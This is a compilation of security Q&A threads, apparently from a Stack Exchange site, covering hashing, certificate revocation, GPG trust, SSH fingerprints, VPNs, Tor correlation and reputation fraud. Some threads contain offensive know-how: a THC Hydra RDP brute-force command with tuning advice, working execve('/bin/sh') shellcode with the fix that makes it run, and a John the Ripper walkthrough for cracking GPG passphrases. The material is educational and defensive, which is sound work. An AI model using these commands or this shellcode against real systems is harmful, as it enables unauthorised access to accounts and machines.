So obviously Erik and John have the same hash they can be grouped.  However because they have the same exact hash within a finite set of values, it wouldn't be too hard for a malicious user to get all the possible values, run the hash against them all and obtain a lookup table.

Using a Salt does not seem to solve the problem because if the database compromised, it wouldn't be too hard to create a table with lookups that included the salts (obviously it would take longer, but I doubt any significance).

I could use a Pepper but if the code was compromised this could also be a problem.

It seems to me the best solution is to have a column where I hash the value+pepper+salt.  This column would be used to search for user input.  But I'm still stumped has to how I would be able to create a secure way to group values.

(I'm also aware that CRC32 is not really a hash, it's just a checksum and that they serve completely different functions :)

I am no expert in the field, but this seems a good use case for a Hardware Security Module which encrypts all hashes before storing them in the DB.

Using the appropriate algorithms, Identical hashes would be identical when encrypted, hence your indexing need would be satisfied.

An attacker with access to the database would be unable to rebuild the hashes. In order to build a lookup table the attacker would require prolonged access to the HSM. This should satisfy your security requirements.


How well do current browsers handle certificate revocation? I am a Firefox user and recently stumbled upon the Liu, Yabing, et al. "An end-to-end measurement of certificate revocation in the web's PKI." Proceedings of the 2015 Internet Measurement Conference. ACM, 2015 study and after a moment of worry, I found myself wondering if the revocation lists checks or the OCSP were still unimplemented or partially implemented in the most recent versions of not only Firefox but other browsers as well. Even though I crawled the web for a while looking for latest updates as far as revocation lists checking and OCSP is concerned (my search was mostly confined to Firefox updates, I have to admit), I could not find anything meaningful.

Do any of you have recent updates for this ? Would a lot of the table enclosed below (taken from previously cited study) remain crossed in red if the whole assessment was done all over again ? I am under the impression that such a reassessment should be conducted.

Another approach, taken by Chrome and Firefox for instance, are embedded CRL sets. How frequently are they updated and is the set update delay sufficiently small to avoid the majority of attacks ?

Not very well.

In theory, the system should work. In practice, it doesn't. The implementations intended to manage revocation - namely CRL and OCSP - both have problems. Most of this answer is based on this article by Alexey Samoshkin, as well as this article by Scott Helme.

What about CRLs?

A certificate revocation list is a remarkably simple way of determining if a certificate is valid or not. It is in essence a list of all certificates that have been revoked. If you would like to check if a certificate has been revoked, you need to check the associated revocation list.

This list is potentially very large, slow to download and requires you to be online in order to be able to verify the validity of a certificate. While the online requirement seems like a non-issue for browsers, there are more uses for certificates than to authenticate a web-server, which may indeed be offline.

In practice, CRLs are considered an outdated mechanism that deliver far too much overhead and are infeasible to do in practice.

What about OCSP?

OCSP was designed to be the golden goose that solves all the problems with CRLs. In practice, it introduced a set of new problems.

Increased latency due to the need to make an inline request to the OCSP endpoint.
Dependency of OCSP endpoint availability.
Privacy compromise to the CA, since you need to transmit for which certificate (and thus which domains) you would like to have OCSP information.

What about failures?

What happens if a CRL or OCSP endpoint is not available? Turns out, nothing. If the status of the certificate can't be validated, browsers default to considering them legitimate. This means an attacker that can successfully get my browser to "give up" on trying to get OCSP data (e.g. by dropping all packets intended to go to an OCSP endpoint), even revoked certificates are considered valid.

Will we ever fix revocation or should we just give up?

There are attempts to mitigate these problems. Chrome uses CRLSet, and Mozilla uses OneCRL. The idea is basically that my browser contains a list of all CRLs and periodically (e.g. once per day) updates them.

Another attempt made is OCSP Stapling, which shifts the burden of proof to the server again. The idea is that the server periodically asks the CA if the certificate is still valid, and then gets a timed response, which the server includes with the certificate.

This fixes several of the above mentioned problems:

The certificate and its revocation status are sent in one transmission, reducing latency.
The CA does not get information about which domains are requested by the user.
The OCSP endpoint of the CA can have reduced availability, since messages are valid for some time.
The OCSP endpoint has a lower load, since it is distributed more among web servers.

So where is the catch?

I mentioned that the current status of certificate revocation is bad, so obviously there must be a catch. Turns out that web servers aren't really that good at implementing OCSP stapling. I won't go into all the details, since Alexey's article does a fine job at explaining it. The basic gist is that even if enabled, some servers may not immediately send out stapled responses. Some servers, like nginx, don't send a response if the certificate has been revoked. This means even if the web server knows the certificate is revoked, it will not tell the user because...reasons?

What about must-staple?

Glad you asked! The idea is simple, the certificate includes a flag that indicates that a server must staple an OCSP response, or otherwise verification will fail. Sounds good in theory, so where is the catch?

The catch is that browsers react weirdly to this flag. Firefox throws MOZILLA_PKIX_ERROR_REQUIRED_TLS_FEATURE_MISSING, which only somewhat makes kind of sense when you already know what it's supposed to mean - only slightly better than throwing us a T_PAAMAYIM_NEKUDOTAYIM. Chrome, on the other hand, doesn't care at all. Chrome doesn't support OCSP at all, so it's only logical that an extension that requires it is just being ignored.

In conclusion, certificate revocation is broken and there is very little each of us can do to fix it.


Ways to sign gpg public key so it is trusted? I have a service through SSL which gives the user a code for a specific reason. I want to sign the code with the web server's private key (gpg --clearsign) and send the signed code along so that they can verify its origin after they leave my site.

Unfortunately I get the error:

gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.

I roughly understand what it means, although I am unsure of a method to give my server's public key while maintaining trust.

Do I have to "sign" the public key that is exported (and then supplied to the user) with the user to whom it was exported?

What are some simple methods to provide this trust?

I've read about keyservers and frankly that is not really an option for me, I am unsure of how I can get this to work.

Basically the problem is a matter of trust.

When you sign a file, someone needs to retrieve your public key to check the signature, but how can they be sure that this is really your signature?

GPG provide a way to do that called the Web of trust. For example, let's say you are Bob and want to discuss with Alice. You already know Ted, which is a friend of yours and you already exchanged key to discuss using GPG. You know that Ted knows Alice too. So you can ask him to give you Alice's public key and sign it. Thus when you read this key, you can check Ted's signature to be sure the key is valid.

Of course, you must have faith that Ted will behave correctly and not sign anything blindly.

So in your case, you cannot avoid this warning. The user has to be able to retrieve the key in a way he finds secure, so that he can mark this key as trusted. Unless you know other people who knows your client and can sign your key for the new client.
Bu definitely, self signed key are useless (I can make false and sign with it).


Can an infected system infect a downloaded iso? is theoretically possible from an infected system infect a just downloaded iso ?
For example, I download the ubuntu iso, I check the hash and it results ok, when I burn the iso the system inject the infection (on the fly) while I am burning it.
Is this theoretically possible (without mount the iso, copy the files, insert the malware, rebuild the iso) ?

Yes, it is theoretically possible. If the ISO is just a file, then there is nothing preventing malicious code from unpacking it, modifying the contents, and repacking it. If the system you use to download and check the ISO is compromised, you cannot rely on that system to tell you whether or not the integrity has been violated. One possible solution would be to burn it to a disc, then verify it on another system which you do not expect to be compromised.


How does a client authenticate an SFTP server if there are no keys shared in advance? For FTPS, we rely on the DNS and public PKI to authenticate the FTP server when we first connect. On the first connection, foo.example.com resolves to 1.2.3.4 and my connection comes back encrypted by a private key that I can validate is truly owned by foo.example.com (more or less, given the issues with PKI).

But how does this work with SFTP (yes, I know it's SSH but I'm not terribly familiar with that)?

I know there are two common ways people use SFTP with regards to this question:

Client is aware of the key to be used for connection in advance. This makes sense and is obvious to my question. I'm not asking about this.
Client is unaware of the key to be used for the connection in advance. Instead they have a username and a password. This is the scenario where I'm specifically asking about.

For that second scenario, when I first connect to the SFTP server, how can I be sure it's truly my intended server and not some other server performing a MITM attack to then get my password (hopefully this is hashed & not easily stolen) and/or data?

I found this question but it doesn't seem to address the topic of server authentication, just client authentication.

SFTP is the exact same security model as SSH, as it uses SSH as the underlying transport. With SSH, the first time you connect to a server, the client should present you with the sever's fingerprint. Which looks like this:

The authenticity of host 'myserver.com (123.45.67.89)' can't be established.
RSA key fingerprint is 12:34:56:78:9a:bc:de:f0:0f:ed:cb:a9:87:65:43:21.
Are you sure you want to continue connecting (yes/no)? no

For best security, users should compare this host key/fingerprint with the real server's fingerprint, which should be obtained through another secure, out of band channel. This is often a website where the server owner published their fingerprint or may also be through face to face meeting or a phone call or by another trusted user who had previously done the check. SSH itself doesn't specify how this out of band communication of the fingerprint should be done.

Often though, people simply trust whatever fingerprint they're presented with. When this happens, SSH clients usually remembers the fingerprint so future reconnection should connect automatically without asking the user to check the fingerprint again, and the client would usually give a big warning message if the server's fingerprint had changed. When used with this model, SSH's security model essentially is TOFU (trust-on-first-use).

Alternatively, SSH also supports using SSH certificates to authenticate servers. The way SSH certificates works is essentially the same as x509 certificate, but it uses a simpler, incompatible certificate format. When using an SSH certificate, you assign a trusted user to act as your certificate authority, which can sign certificates for the servers and/or users. With this method, users only need to install the single CA certificate instead of verifying every server host keys individually.


OPC-UA Certificate Handling I am currently developing and extending an OPCUA-Server based on "node-opcua". The next steps would require to add certificate handling and that's also the point that makes me the most problems.

My idea was that every client certificate will be rejected at the first time when connecting to the server and stored in a "reject" folder. An administrator can manually move those certificates to a trusted folder, so the client will be trusted the next time he connects. I don't want to use a third party CA and everything should be kept locally on the server side, because the server is only used internally.

I am using self signed certificates both at client and server side. Because of my little knowledge in certificate handling, my first question would be, if this approach is appropriate considering security standards?

What happens if someone gets access to my trust folder containing all trusted certificates, and uses one of them for his own client? Can he get access to my server?

What happens if someone gets access to my trust folder containing all trusted certificates, and uses one of them for his own client? Can he get access to my server?

The folder will only contain the public parts, i.e. the certificate with the public key. It will contain the private key for the certificate. But this is needed to use the certificate for authentication. Insofar this is not the part to worry about.

  ... if this approach is appropriate considering security standards?

You are essentially manage the trust into the certificates manually. This does not scale well but if you need only care about a few certificates this should not be the problem. Problems exist if the person which decides about the trust does the wrong decisions, but this is comparable to somebody issuing a trusted certificate to a party which should not get one. Similar revocation is cumbersome but this is not really better if you are using your own CA.

The main problem I see is that you don't control the information in the certificate, specifically the expiration time. In theory the client could issue a certificate which will be valid practically forever (i.e. something like valid until 2099). This will not be a problem if you expire the certificates manually anyway after some time (simple deletion) and expect the client to create a new one.

And of course, it is always a problem if you design your own process instead of using established processes since this increases the risk that you fail to notice if you do something dumb. And this can be a problem specifically in the context of security.


Does it make sense to use CloudFlare's DNS in addition to NordVPN? Starting at the Computer level, NordVPN gets installed. But according to the experts who know a lot better, a VPN isn't good enough.
So going to the router's IPv4 network settings, the default DNS is changed from the ISPs default DNS (which would have been clearly listed there on the router page), over to Cloudfare's 1.1.1.1 and 1.0.0.1.
But does that make sense to do that?
As I was thinking about this setup, I wondered if it made sense to set the VPN at the router level, too (supports OpenVPN), but figured it would be easier (for a novice who doesn't want to mess up router settings) to install the VPN's provided software, instead.
I tested this thing on ipleak.net, it displayed back a DNS from a Cloudfare server, it showed an IP address from the country where the NordVPN connection was being served from, and it recognized that a proxy was being used (which it threw in with "Your IP addresses"). Since ipleak.net was able to recognize everything I set up, I get the feeling I'm still doing it wrong, but since all the information displayed was wrong, I get the feeling I'm doing it right. Right or wrong?

The purpose of those "IP leak" tests is generally to determine whether anything regarding your DNS/network configuration is allowing information to leak outside of the VPN such as what sites you are visiting to the ISP, and servers may be able to determine your ISP and/or approximate location (however, your DNS/network setup is just one of many ways these could be leaked).
The idea is that a user with a leak will be using a VPN for all of their traffic, but their computer is still set to use the ISP's DNS server or some other local resolver (e.g. router) that is set to the ISP's DNS servers. The site forces your computer to make uniquely identifiable DNS requests (e.g. ahd6Jduek72ks.example.com), and the site will see which recursive DNS server was handling the query. Of course, the site will also see what IP address you are visiting from.
In your case, if you do not see any information that reveals your ISP or location, then you are passing that particular test. Note that the site will always be able to identify your current configuration; that's just the way the internet works.
And of course, passing an "IP leak" test does not guarantee that you have anonymity or privacy. For example, your browser can be fingerprinted, your local IP address can be revealed with WebRTC, your location can be revealed (if allowed by you), and your activities may cause you to be identified (e.g. logging in to personal accounts). Of course, this all depends on who and what you are trying to protect against.


Can ssh connected computer control the source If i ssh to some remote computer

ssh@hisip
fingerprint is sha256:xxxxx`
then continue (y/n) yes

can the remote computer later control my source computer?

Also is there any risk if i connect to a untrusted ssh from a middlemen trusted ssh connection through my source computer ?

No, you're simply accepting the way that destination server authorizes itself as the original server.

For example if somebody would try to spoof the IP/Domain that you are using, then you could find that attempt of attack, by verifying the fingerprint, to make sure that this is the same server, that you have accepted previously.

In simpler words, once you have connected to the server one time, your source server will make sure it is the same machine every time.


THC Hydra on Windows RDP Domain I am testing a bruteforce on a windows rdp server within a domain. It seems to not be working because nothing is locking out the account I am targeting. How do you specify a domain username? I tried username@domain.

hydra -V -f -l username -P '/root/Desktop/linkedin_opt7ic.pot' rdp://targetip

What would be the correct format to attempt this attack?

Your syntax looks correct, though you might try adding in the -t flag with a low number (i.e. -t 1) to restrict the number of concurrent connections to 1 as well as the -w flag with a number of seconds (i.e. -w 8) to allow the server you are brute-forcing to be able to recover for 8 seconds before attempting the next try.

Even with these tweaks, however, you may still find no success as it should be known that the RDP module has been found to be unreliable with newer versions of Hydra which is potentially why your efforts aren't fruitful; see this github issue discussion with Hydra [RDP] failing even with correctly supplied credentials.


How can I recover files encrypted by Android ransomware? My Samsung Galaxy Note II was infected by a virus called the "FBI virus." Fortunately, I've managed to remove the malware but my problem now is that all my files have been encrypted.

How can I decrypt these files and recover my data?

If the malware is same as the one identified as Andr/FBILock-A by anti-virus firm Sophos, they have detailed removal instructions here:

http://nakedsecurity.sophos.com/2014/07/25/android-fbi-lock-malware-how-to-avoid-paying-the-ransom/

It appears that (according to Sophos) this malware does not actually encrypt files, so you may be the victim of some other attack.

this is an image they posted of the malware:


shellcode JMP-CALL-POP technique ( Segmentation fault (core dumped) ) I write this shellcode for spawn a shell on the box using JMP-CALL-POP technique but i keep got this error i don't now why !!

  Segmentation fault (core dumped)

my shellcode :

section .text

global _start

_start:

jmp short qan

sh:

pop              esi
xor              ebx, ebx
mov byte         [esi + 7], al
mov dword        [esi + 8], esi
mov dword        [esi + 12], ebx

lea ebx , [esi]
lea ecx , [esi + 8]
lea edx , [esi+12]

xor eax , eax
mov bl , 11
int 0x80

qan:
call            sh

shell: db              '/bin/sh#AAAABBBB'

i got this error :
Segmentation fault (core dumped)

i checked it by objdump for null bytes and did not found any :D

arg:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:   eb 1a                   jmp    804807c <qan>

08048062 <sh>:
 8048062:   5e                      pop    esi
 8048063:   31 db                   xor    ebx,ebx
 8048065:   88 46 07                mov    BYTE PTR [esi+0x7],al
 8048068:   89 76 08                mov    DWORD PTR [esi+0x8],esi
 804806b:   89 5e 0c                mov    DWORD PTR [esi+0xc],ebx
 804806e:   8d 1e                   lea    ebx,[esi]
 8048070:   8d 4e 08                lea    ecx,[esi+0x8]
 8048073:   8d 56 0c                lea    edx,[esi+0xc]
 8048076:   31 c0                   xor    eax,eax
 8048078:   b3 0b                   mov    bl,0xb
 804807a:   cd 80                   int    0x80

0804807c <qan>:
 804807c:   e8 e1 ff ff ff          call   8048062 <sh>

08048081 <shell>:
 8048081:   2f                      das
 8048082:   62 69 6e                bound  ebp,QWORD PTR [ecx+0x6e]
 8048085:   2f                      das
 8048086:   73 68                   jae    80480f0 <shell+0x6f>
 8048088:   23 41 41                and    eax,DWORD PTR [ecx+0x41]
 804808b:   41                      inc    ecx
 804808c:   41                      inc    ecx
 804808d:   42                      inc    edx
 804808e:   42                      inc    edx
 804808f:   42                      inc    edx
 8048090:   42                      inc    edx

then i try to test the another shellcode writen by Vivek Ramachandran , the same error :

global _start
section .text

_start:
    jmp short call_shellcode

shellcode:
    ; JMP - CALL - POP  =  ESI now contains message
    pop esi

    ; Zero out the EBX register (will be used for filename)
    xor ebx, ebx

    ; Move BL (0x0) into [ESI+9] (the "A" in message) to null terminate /bin/bash
    mov byte [esi+9], bl

    ; Move ESI (the location of /bin/bash) into [ESI+10] (the "BBBB" in message)
    mov dword [esi+10], esi

    ; Move EBX (0x00000000) into [ESI+10] (the "CCCC" in message)
    mov dword [esi+14], ebx

    ; Load the null-terminated "/bin/bash" string into EBX for execve's filename
    lea ebx, [esi]

    ; Load the address of /bin/bash into ECX for execve's argv
    lea ecx, [esi+10]

    ; Load the address of the null bytes into EDX for execve's envp
    lea edx, [esi+14]

    ; Zero out the EAX register
    xor eax, eax

    ; Load 11 (sys_execve) into EAX
    mov al, 0xb

    ; Call interrupt 0x80 to execute the syscall
    int 0x80

call_shellcode:
    call shellcode

    ; The CALL places this at the top of the stack
    message db "/bin/bashABBBBCCCC"

  Segmentation fault (core dumped)

my system details ( Ubuntu 16.04.5 LTS x86 )
i just compile my asm file by :

  nasm -f elf32 -o addr.o addr.asm

then

  ld -o addr addr.o

i run it .. got :

  Segmentation fault (core dumped)

ookkk the code is okay the problem is solved :D by giving writing permission for the .TEXT section ...

not work :

  ld -o addr addr.o

> [ 1] .text             PROGBITS        08048060 000060 000037 00  AX 0   0 16

work :

  ld -N -o addr addr.o

 [ 1] .text             PROGBITS        08048060 000060 000037 00 WAX  0   0 16

  -N
  --omagic Set the text and data sections to be readable and writable.


Sharing Nmap scan results in a web page Is there a tool that allow the sharing of nmap scan results ? I know nmap can produce XML and I can easily convert them in HTML.

I would like to know if there is a tool with more features. For example, an online web page that would give users an UI to compare two different scan results from the same host taken at different time. Another feature could draw the network topology and automatically make an html page.

I know that nmap-sql and pbnj can export results in a MySQL database, but I think there is no front-end available to play with the database.

One great product I like to use is Nessus.

Nessus has plugins available to both import existing nmap scan results and launch nmap scans directly. I like the reporting features of the tool which will output a nice PDF report for you.

See this link for more information.

Another alternative I like to use is the Metasploit framework. While renowned as an exploit framework, my favorite function of Metasploit is actually it's database. I use it to gather the results of my various scans and other activities during a penetration test. You can import nmap and other scans into the framework and view the information in it there. It doesn't have a pretty interface, but it's functional and works well.

Both the tools I mentioned might be a little heavy to use just as a nmap scan viewer. For something a little more lightweight, just share the results in the human readable output in something like Dropbox, not as pretty but just as functional.

You mention features like automatically drawing network maps based on scans. The zenmap GUI utility, usually packaged with the official nmap distribution actually has that feature. I have not used it extensively but you might want to give it a shot.

For comparison of two different scans of the same host, try ndiff, which again comes packaged with the official nmap install.


Deanonymizing Tor circuit by having access to all the circuit's relays Given you have access to THE NETWORKING (not the devices, just their networking, as if you were their ISP) of all the 3 relays that a circuit is using, could you time-correlate all the nodes of the circuit, as in would they connect at the same time, therefore making time correlation possible?

Yes, if you've got a complete view of the network, you can de-anonymize TOR circuits: as the circuit is built up, the nodes build their connections one after another.  This is the most favorable condition for performing a timing attack on the network, and works regardless of the length of the circuit or how often it changes.

This is also by far the hardest to pull off in the real world: the typical TOR circuit passes through multiple countries, whose intelligence and police agencies don't cooperate with each other.  I'm having trouble picturing the FBI and the FSB working together to track down a German drug dealer selling to a client in China.


Is INTEL-SA-00075 Detection and Mitigation Tool enough to mitigate IntelME attacks Is that tool enough to mitigate/protect againts IntelME vulnerability?
https://downloadcenter.intel.com/download/26755?v=t

If it's not enough I more I can do to protect againts IntelME attacks ?

No, as the link you yourself posted says (for both versions):

This version does not provide automated mitigation support.

For reference, we are talking about CVE-2017-5689.
Intel released a statement here:

Step 1: Determine if you have an Intel® AMT, Intel® SBA, or Intel® ISM capable system.  If you determine that you do not have an Intel® AMT, Intel® SBA, or Intel® ISM capable system then no further action is required.
Step 2: Utilize the INTEL-SA-00075 Detection Guide to assess if your system has the impacted firmware. If you do have a version in the “Resolved Firmware” column no further action is required to secure your system from this vulnerability.

Linux users may alternately use the following tools and documentation.  Note: Validation is ongoing and may result in updates to this release.
INTEL-SA-00075 Linux Discovery Tool and Mitigation Tools v1.0.zip

Step 3: Intel highly recommends checking with your system OEM for updated firmware.  Firmware versions that resolve the issue have a four digit build number that starts with a “3” (X.X.XX.3XXX) Ex: 8.1.71.3608.
Step 4: If a firmware update is not available from your OEM, mitigations are provided the INTEL-SA-00075 Mitigation Guide.

TL;DR:
You can check if your system is vulnerable by running the tool you have linked in your question. If your system is vulnerable, update the firmware.


Encrypting files on Google Drive It's my understanding files kept on Google Drive are not protected. I would like to have them encrypted so that to be able to view or modify them one must enter a password. I foresee a potential dilemma: the computer must have the encryption/decryption tool to do this, thus defeating the portability of Google Drive. A scenario is I'm working on a library computer where I do not have permission to install software.

Are there any online solutions to encrypting Google Drive that are open source? Is anything online (I'm avoiding the word "cloud") ever open source? To me it seems absurd to arbitrarily trust another company online to encrypt/decrypt files more than one would trust Google in the first place.

I noticed new versions of Microsoft Office have the option to save to online storage services, such as Google Drive and Skydrive. If this is going to be my default choice to save files to, I would like to have them encrypted.

In general: You need to trust the machine on which you are decrypting the files. This trust is usually only warranted if you have full control over this machine which also means that you can install software on it. So if you are really concerned about the contents of your files then use an offline encryption/decryption tool on a trusted machine and upload the encrypted data to Google Drive or any other cloud file sharing service.

Then how do you access encrypted data on the library computer? Well, you don't. That machine might have malware on it that sends copies of your data and/or your key to somebody who is not supposed to have them. Once this happens your entire encryption is useless.

This also explains why there are no "online solutions to encrypting Google Drive". I'm not really sure what you mean by "online" here but I am assuming you mean "transparent" i.e. the data is encrypted but you don't really have to care about how it is done and don't need to worry about installing software. Here's why this is so hard to do:

Encryption of data always requires two main ingredients:

The algorithm used to encrypt the data and
the key used to encrypt the data.

The key must never be known by an untrustworthy entity. But you need to supply the key to the algorithm and an untrustworthy algorithm might just send the key to an untrustworthy entity. So you want the algorithm to be trustworthy. This, however, means that you should not use an algorithm provided by an untrustworthy source.

Applying this to your Google Drive situation

Since you want to store data so that Google can't read it we are going to define Google as untrustworthy.

Transparent encryption without additional software on the client side would have to be done either on the Google servers or in your browser.

When it is done on the Google servers it is obvious that you need to supply Google with your encryption key so they can decrypt your data on their servers. So now they have your key which means they can decrypt which means you might as well have stored your data in plain text all along.
The other option would be decryption in your browser. This, however, would have to be implemented by Google so they can serve it to you on their page. Again, you would have to hand the key to an algorithm that is from Google and that algorithm might send the key back to Google.

A trusted third party

After all that talk about how it is impossible to do transparent Google Drive encryption here comes a way how it might be possible. However, this requires that you trust some other party to see your sensitive data.

Google Drive has an API that allows viewing and uploading of files. In theory it would be possible to build a website that accesses your Google Drive using that API and encrypts and decrypts data before it is written or read. This means that Google would never see your plain data and you would still be able to access it without installing additional software.

However, now you have a different website owner who provides the decryption algorithm and might therefore have your key. And you have also handed him your Google Drive login so now he is the one who will be able to download and decrypt everything in your Google Drive.

Addendum 2015-02-28: From having a quick look at the InstantCryptor website it seems that they have implemented exactly this scenario. From what I can tell, they provide a JavaScript-powered web-based interface to your Google Drive and Dropbox storage. This interface can encrypt and decrypt your files before saving them on your cloud storage.

The sad conclusion

If you really want to make sure that nobody sees unencrypted data, then you can't show your unencrypted data to anyone. This, however, means that you need to do the encryption on a trusted machine and that usually mandates that you install additional software. Also you can't decrypt data on untrustworthy machines such as library computers.


Does unsecure delivery of keys and certs make a VPN useless? I had to install an OpenVPN service onto a fresh, disconnected computer, but the keys and certs were delivered through an insecure computer with a highly suspect connection.

Let's assume that the TLS Auth Key, CA Cert, Public Client Cert, and Public Client Key were all intercepted during delivery--wouldn't that render the VPN connection pointless? If I must manually enter or copy-paste these keys and certs into fields during VPN installation, how should I securely obtain the keys and certs?

The VPN has the following specs:

  DATA CHANNEL CIPHERS

  AES-256-CBC with HMAC-SHA1 for authentication

  CONTROL CHANNEL CIPHERS

  AES-256-GCM with HMAC-SHA384 for authentication

  AES-256-CBC with HMAC-SHA1 for authentication

  4096 bit RSA keys size

  4096 bit Diffie-Hellman keys size

  TLS Ciphers (IANA names): TLS-DHE-RSA-WITH-AES-256-CBC-SHA,
  TLS-DHE-RSA-WITH-AES-256-GCM-SHA384

  TLS additional authorization layer key: 2048 bit

  Perfect Forward Secrecy through Diffie-Hellman key exchange DHE. After
  the initial key negotiation, re-keying is performed every 60 minutes
  (this value can be lowered unilaterally by the client)

I think you're using non standard terminologies and that is making things confusing for you. I'll define the terms here:

Private key: a string that need to be kept secret, used in cryptographic operations to authenticate or encrypt
Public key: a string that
are mathematically bound to the private key, not a secret. Used in certificate to decrypt and identify signatures that matches a private key
Certificate: public key + optional associated data + signature of the CA binding the key with the associated data. Not a secret. Each side in the communication uses the associated data in the certificate to identify its peer.

TLS Auth Key, the client private key, and server private key are the only data that should be keep private by the client and server respectively.

In the normal operation of x.509 authentication, the server doesn't need to know the client's private key, and vice versa the client doesn't need to know the server's key. You only need to deliver your public keys to the CA in a way that the CA can verify that they are signing the right public key for the right entity for the right purposes.

The CA's root certificate, the server's public key and certificate, and the client's public key and certificate are all non secret. The security properties of PKI does not rely on the secrecy of public key and certificates. An attacker can intercept these and that won't help them decipher your communication with the server.

An attacker that can passively intercept your communication with the CA would not be able to intercept your communication to the server either. To intercept your communication with the server, the attacker would need to actively modify your communication with the CA, throughout the entire verification process and throughout all your communication with the server.

In short, yes, insecure delivery of certificate signing request to the CA can make PKI useless. Insecure delivery of the certificate to communication peer though, is not an issue as all the information exchanged are public.


Difficulty of breaking private key password I was recently reading up on the practices of keybase.io and came across this blog post. In it, the author says:

  ...decrypting the above [encrypted private key] is arguably as difficult as computing my secret key from the public one.

Is that an accurate comparison?

The long and short is: it depends!

A long, strong, random passphrase encrypted properly with lots of iterations is very safe

unless there's a flaw in gpg somewhere (which is possible, of course), very safe.

A weak passphrase is always unsafe.
A small number of iterations on encryption makes the area of "weak passphrase" bigger, and the area of "strong passphrase" smaller.

Let's experiment, so you can see for yourself!

We'll more or less start with the Ubuntuvibes article Recover your gpg passphrase using John the Ripper.

Create a GPG key, nice and default, with a weak passphrase to validate the technique:

gpg --gen-key

Follow the defaults FOR THIS DEMONSTRATION, but name it "CrackingTestDefault"

To change the passphrase, you can simply use the following and then re-export to try again!

gpg --edit-key <keyid>
  passwd

Now, export the test secret key

gpg -a -o ctd.asc --export-secret-key CrackingTestDefault

Download and compile John the Ripper 1.8.0-jumbo-1 or the latest when you read this - configure and compile.  Or just use Kali linux.

Now extract the important bits into John's format using a John the Ripper helper app that came with the Jumbo version

run/gpg2john ctd.asc >ctd.john

Now let's just try the default mode and see what happens

IF your weak password was TestTest, like mine, then you found it nearly instantly!  Let's show the password

run/john --show ctd.john

See our password of TestTest?

Reset John's list of cracked passwords, the "pot", and do something different just to show what people are talking about when they say a password will take days (on an 8 core CPU)

mv run/john.pot run/john.pot.found1

Now let's try incremental mode, lower case only, and see what happens
    run/john --format=gpg --mask=?u?l?l?l?u?l?l?l ctd.john

Let it settle out for a few seconds, then check your CPU use and hit a key.  If you compiled John correctly, it's maxed out all your CPU cores, and it's still going to take a few weeks, because it is - STUPIDLY - trying every single combination.

Note the speed - on my 8 core box, it's getting right around 50,000 guesses per second.  That's 129.6 BILLION guesses every 30 days, and a targeted attack against a GPG passphrase is likely to be worth quite a lot more than most password cracking exercises, so expect more than a single CPU running for more than a single month!

Let's try a real rule

Press Ctrl-C and stop it.  Mask attacks are fine for very small keyspaces, or very fast hashes.

Try a real attack - a rules-based wordlist attack!

run/john --format=gpg --wordlist=run/password.lst --rules:Jumbo ctd.john

It shouldn't take long to find TestTest, or Test7, or quite a few other word based passwords.  Play with it!

Rule #1 - Use a long, strong, random GPG passphrase.

If your passphrase is weak by the definition of cracking attacks
Let's try something else!  Let's try changing how GPG protects the key!

We're going to encrypt the key with AES256, use a SHA-512 digest, and drastically increase our iteration count.

Change the password to Chameleon98 now:

gpg --s2k-mode 3 --s2k-digest-algo SHA512 --s2k-cipher-algo AES256 --s2k-count 70000000 --edit-key CrackingTestDefault
   passwd
       enter your old password, then Chameleon98, the new password, twice
   save

Now, use the previous instructions to extract it to ctdcham.asc, create ctdcham.john, and attack it.

If your system is like mine, the cracking speed is now about 32 guesses per second, instead of 50,000 guesses per second; more than three orders of magnitude slower.

Now, unless you want to wait for the hours or days your machine will take to go through the entire John wordlist with that ruleset, you can create a file called cham.lst, with a single line that has the word

chameleon

in it, and use THAT as your wordlist with the Jumbo rules based attack above just to see if Chameleon98 is vulnerable to the Jumbo ruleset.  You will, in fact, see that John the Ripper will use the base word, and it will finally get to a rule that capitalizes the first letter and adds 98 to the end, cracking it - but now it takes quite a lot longer.

WARNING: the Jumbo ruleset is not the be-all or end-all.  See some of the rulesets that come with Hashcat which are much, much longer, and Hashcat has rules John doesn't, too, though as of Jan 2016 I don't think Hashcat has a mode for GPG in specific.

WARNING: Whenever the gpg attack is ported to GPU, the attack may get a MASSIVE speedup.

Try decrypting a file, too - note there's a second or two's pause (more on a slower CPU) after entering your passphrase.  Cracking takes 1500 times longer; well, normally use of the passphrase ALSO takes 1500 times longer.  However, unless you're decrypting lots and lots of files, you can probably afford to take a couple seconds after entering your passphrase, in exchange for making attackers spend more resources and/or test a smaller keyspace.

Rule #2: Use the --s2k* options when generating keys, AND when changing passphrases!!!

Feel free to use Luis Rocha's JtR cheat sheet to play around further.


How secure is Stack Exchange's reputation? I recently read an article about researchers being able to penetrate the Facebook network and making lots of friends with about 100 "Social" bots. What would prevent somebody to do the same on Stack Exchange sites, so as to increase his reputation? He might do this in order to finance bounties and have questions answered quickly for free.

Update: how I imagined an attack:

Initial seeding: create 100 profiles on a Stack Exchange site;
Have a Social Bot manage each profile;
Slowly (i.e., during several weeks) Social Bots post questions, post answers (to questions asked by other Social Bots), up questions and answers.

Result: you end up with 100 profiles having a pretty good reputation.

Stack Exchange has multiple layers of security preventing this. Captchas and email addresses are required. The email check is easy to beat with a script, but the captchas aren't; you'd need a Captcha breaking service to even get this off the ground.

None of your bots can vote at the start, so you can't accumulate rep just by posting questions; human eyes have to look over your post and manually give you your first reputation. At best your bots could get rep only by other bots accepting answers. After each bot gets an accepted answer they would be able to upvote however.

Once they can upvote you start running into fraud detection; cross voting where a significant % of votes are split between two users are automatically flagged for moderator attention, and serial upvotes (more than a couple inside of a few minutes) would automatically be reversed, so you'd have to be VERY careful in how you implement this.

Even if you surpass the automated fraud detection, which would require significant effort and tools programmed specifically for the Stack Exchange Network, you run into the problem of human moderation. All posts on SE are getting human eyeballs on them. If your bots are asking duplicate questions, they're going to get closed. If they're asking gibberish or spam questions, they're going to get deleted, and deleted posts don't earn rep (certain outstanding circumstances aside).

Basically your bots would have to post actual, new, good questions in order to not be found out and shut down. SE has some okay automatic detection scripts here, but there's no way an army of bots would go unnoticed simply because you'd need an amazing artificial intelligence to actually write enough new questions and answers to pull this off.

Facebook hacking can be a lot easier because no one has to see your bot friends; Facebook profiles can go without human scrutiny, Stack Exchange posts cannot.

I'm not a Stack Exchange employee however, so there may well be additional security measures I'm unaware of, but as a user and moderator those are the significant points I'm aware of.


